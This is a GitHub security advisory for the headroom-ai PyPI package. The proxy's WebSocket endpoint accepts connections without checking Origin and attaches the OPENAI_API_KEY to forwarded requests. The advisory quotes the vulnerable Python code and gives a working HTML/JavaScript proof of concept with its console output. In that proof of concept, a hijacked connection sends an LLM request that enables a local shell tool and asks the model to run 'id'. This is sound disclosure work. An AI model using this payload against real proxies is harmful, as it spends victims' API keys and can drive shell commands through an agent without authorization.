GitHub Advisoryadvisory · PyPI
GHSA-h46j-26q3-rggf Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)
HIGH
Official page ↗
- Aliases
- CVE-2026-71416
- Ecosystem
- PyPI
- Packages
- headroom-ai
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-1385, CWE-287
- Reviewed
- 2026-10-02
Affected packages
• PyPI headroom-ai: < 0.35.0 → fixed in 0.35.0
Description
Summary
The Headroom WebSocket server does not validate the `Origin` header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the `OPENAI_API_KEY` environment variable.
Details
The Headroom server defines a WebSocket handler at `ws://:8787/v1/responses` in `headroom/providers/proxy_routes.py`:
```python
@app.websocket("/v1/responses")
async def openai_responses_ws(websocket: WebSocket):
await proxy.handle_openai_responses_ws(websocket)
```
In the `handle_openai_responses_ws()` method of the `OpenAIHandlerMixin` class, the `Origin` header of the WebSocket client handshake is not checked or verified before calling `websocket.accept()`, which grants any WebSocket client (including malicious clients) access to the server:
```python
async def handle_openai_responses_ws(self, websocket: WebSocket) -> None:
"""WebSocket proxy for /v1/responses (Codex gpt-5.4+).
Newer Codex versions use WebSocket instead of HTTP POST for the
Responses API. This handler:
1. Accepts the client WebSocket
2. Receives the first message (``response.create`` request)
3. Opens an upstream WebSocket to OpenAI
4. Compresses eligible `response.create` text through the Python
ContentRouter path, then sends the request upstream
5. Relays all subsequent messages bidirectionally
"""
...
# Accept client connection with the requested subprotocol
async with stage_timer.measure("accept"):
if client_subprotocols:
await websocket.accept(subprotocol=client_subprotocols[0])
else:
await websocket.accept()
```
The malicious WebSocket client does not need to provide authentication headers or API keys as the `Authorization` header is automatically populated with the OpenAI API key via the `OPENAI_API_KEY` environment variable, if it has been used to store the API key:
```python
# Ensure Authorization header is present — fall back to OPENAI_API_KEY env var.
# Safety net for clients that don't forward auth headers via WebSocket upgrade.
if "authorization" not in _lower_headers:
api_key = os.environ.get("OPENAI_API_KEY")
if api_key:
upstream_headers["Authorization"] = f"Bearer {api_key}"
logger.debug(f"[{request_id}] WS: injected Authorization from OPENAI_API_KEY env")
else:
logger.warning(
f"[{request_id}] WS: no Authorization header from client and "
f"OPENAI_API_KEY not set — upstream will likely reject"
)
```
Once the client connection is accepted and authenticated malicious WebSocket clients can perform arbitrary LLM requests to the OpenAI API, including arbitrary `instructions`/`input` prompts and tools.
PoC
• Run the Headroom proxy server: `OPENAI_API_KEY=MY_KEY headroom proxy --host 0.0.0.0`
• Render the following HTML PoC page in a traditional or headless browser which has access to the Headroom proxy server:
```html
let headroomHost = '192.168.0.106';
let socket = new WebSocket(`ws://${headroomHost}:8787/v1/responses`);
let openAiPayload = {
type: "response.create",
model: "gpt-5.4",
instructions: "The local bash shell environment is on Linux.",
input: "Run the id command for the logged in user",
tools: [{type: "shell", environment: {type: "local"}}]
};
socket.addEventListener("open", (event) => {
let openAiPayloadStr = JSON.stringify(openAiPayload);
console.log(`Sending LLM request: ${openAiPayloadStr}`);
socket.send(openAiPayloadStr);
});
socket.addEventListener("message", (event) => {
console.log(`Response from server: ${event.data}`);
});
```
• The PoC uses the shell tool, but any tool/input/instruction prompt can be used.
Output
The `console.log()` output from the PoC shows that the malicious WebSocket client request was accepted by Headroom and forwarded to the upstream OpenAI API. The server responses show that I have an insufficient quota to perform the LLM request, but proves that it was attempted:
```
Sending LLM request: {"type":"response.create","model":"gpt-5.4","instructions":"The local bash shell environment is on Linux.","input":"Run the id command for the logged in user","tools":[{"type":"shell","environment":{"type":"local"}}]}
ws.html:22 Response from server: {"type":"response.created","response":{"id":"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b","object":"response","created_at":1780650263,"status":"in_progress","background":false,"completed_at":null,"error":null,"frequency_penalty":0.0,"incomplete_details":null,"instructions":"The local bash shell environment is on Linux.","max_output_tokens":null,"max_tool_calls":null,"model":"gpt-5.4-2026-03-05","moderation":null,"output":[],"parallel_tool_calls":true,"presence_penalty":0.0,"previous_response_id":null,"prompt_cache_key":null,"prompt_cache_retention":"24h","reasoning":{"context":"current_turn","effort":"none","summary":null},"safety_identifier":null,"service_tier":"auto","store":true,"temperature":1.0,"text":{"format":{"type":"text"},"verbosity":"medium"},"tool_choice":"auto","tools":[{"type":"shell","environment":{"type":"local"}}],"top_logprobs":0,"top_p":0.98,"truncation":"disabled","usage":null,"user":null,"metadata":{}},"sequence_number":0}
ws.html:22 Response from server: {"type":"response.in_progress","response":{"id":"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b","object":"response","created_at":1780650263,"status":"in_progress","background":false,"completed_at":null,"error":null,"frequency_penalty":0.0,"incomplete_details":null,"instructions":"The local bash shell environment is on Linux.","max_output_tokens":null,"max_tool_calls":null,"model":"gpt-5.4-2026-03-05","moderation":null,"output":[],"parallel_tool_calls":true,"presence_penalty":0.0,"previous_response_id":null,"prompt_cache_key":null,"prompt_cache_retention":"24h","reasoning":{"context":"current_turn","effort":"none","summary":null},"safety_identifier":null,"service_tier":"auto","store":true,"temperature":1.0,"text":{"format":{"type":"text"},"verbosity":"medium"},"tool_choice":"auto","tools":[{"type":"shell","environment":{"type":"local"}}],"top_logprobs":0,"top_p":0.98,"truncation":"disabled","usage":null,"user":null,"metadata":{}},"sequence_number":1}
ws.html:22 Response from server: {"type":"error","error":{"type":"insufficient_quota","code":"insufficient_quota","message":"You exceeded your current quota, please check your plan and billing details. For more information on this error, read the docs: https://platform.openai.com/docs/guides/error-codes/api-errors.","param":null},"sequence_number":2}
ws.html:22 Response from server: {"type":"response.failed","response":{"id":"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b","object":"response","created_at":1780650263,"status":"failed","background":false,"completed_at":null,"error":{"code":"insufficient_quota","message":"You exceeded your current quota, please check your plan and billing details. For more information on this error, read the docs: https://platform.openai.com/docs/guides/error-codes/api-errors."},"frequency_penalty":0.0,"incomplete_details":null,"instructions":"The local bash shell environment is on Linux.","max_output_tokens":null,"max_tool_calls":null,"model":"gpt-5.4-2026-03-05","moderation":null,"output":[],"parallel_tool_calls":true,"presence_penalty":0.0,"previous_response_id":null,"prompt_cache_key":null,"prompt_cache_retention":"24h","reasoning":{"context"…
Related
Alias · CVE (1)
- CVE-2026-71416 Headroom compresses data before the data reaches a large language model. vulnerability
References
- https://github.com/headroomlabs-ai/headroom/security/advisories/GHSA-h46j-26q3-rggf web
- https://nvd.nist.gov/vuln/detail/CVE-2026-71416 advisory
- https://github.com/headroomlabs-ai/headroom/pull/1481 web
- https://github.com/headroomlabs-ai/headroom/commit/c632023cc1ec61d15f8f8e86efe3b54d51604a64 web
- https://github.com/headroomlabs-ai/headroom package
- https://github.com/headroomlabs-ai/headroom/releases/tag/v0.35.0 web